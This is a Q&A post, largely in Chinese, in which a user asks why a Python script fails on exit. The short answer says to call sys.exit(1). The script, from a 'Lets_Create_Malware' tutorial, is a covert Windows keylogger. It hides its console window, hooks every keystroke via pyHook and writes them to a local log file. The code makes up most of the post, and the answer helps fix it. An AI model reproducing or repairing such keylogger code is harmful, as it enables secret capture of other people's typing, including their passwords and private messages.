python 错误,即使我包含了库

Errors with python even though I included libraries

我有 Python 代码基于 YouTube video

当我输入 Ctrl-E 退出时,我得到错误 Traceback (most recent call last): File "C:\Python27\lib\site-packages\pyHook\HookManager.py", line 351, in KeyboardSwitch return func(event) File "C:/Lets_Create_Malware/keyz.pyw", line 21, in OnKeyboardEvent _exit(1) NameError: global name '_exit' is not defined,即使我包含了 sys 库。

我快疯了。这是我记录的代码。非常感谢任何帮助。

import win32api #win32* to interact with Windows environment
import win32console
import win32gui

import pythoncom #python to interact with windows
import pyHook #captures input, such as from a keyboard

import sys #use system-specific parameters such as _exit
import logging #enables logging


#hide python command window  
win = win32console.GetConsoleWindow()
win32gui.ShowWindow(win,0)

#exit script that uses ASCII value 5 to end program
#ASCII value 5 is same as Ctrl-E
#OnKeyboardEvent is invoked with key on keyboard is pressed
def OnKeyboardEvent(event):
    if event.Ascii == 5:
        _exit(1)

    #if input is not null or backspace, record input
    if event.Ascii != 5:

        #open read-only copy of log file and save to variable buffer
        f=open('c:\Lets_Create_Malware\output.txt', 'w+')
        buffer=f.read()
        f.close

        #re-open log file, this time you can write to it
        f=open('c:\Lets_Create_Malware\output.txt','w')

        #save all log information as variable keylogs
        keylogs=chr(event.Ascii)



        #append variable keylogs to variable buffer
        buffer += keylogs

        #write buffer to the writable logfile, C:\output.txt
        f.write(buffer)

        #close the logfile
        f.close()

#create hook manager
hm = pyHook.HookManager()

#watch for all key events
hm.KeyDown = OnKeyboardEvent

#set the hook that captures all the events
hm.HookKeyboard()

#record the events
pythoncom.PumpMessages()

要在 python 中使用导入的模块,您必须以 module.method 的形式调用模块中的方法,因此您应该 sys.exit(1) 而不是 _exit(1)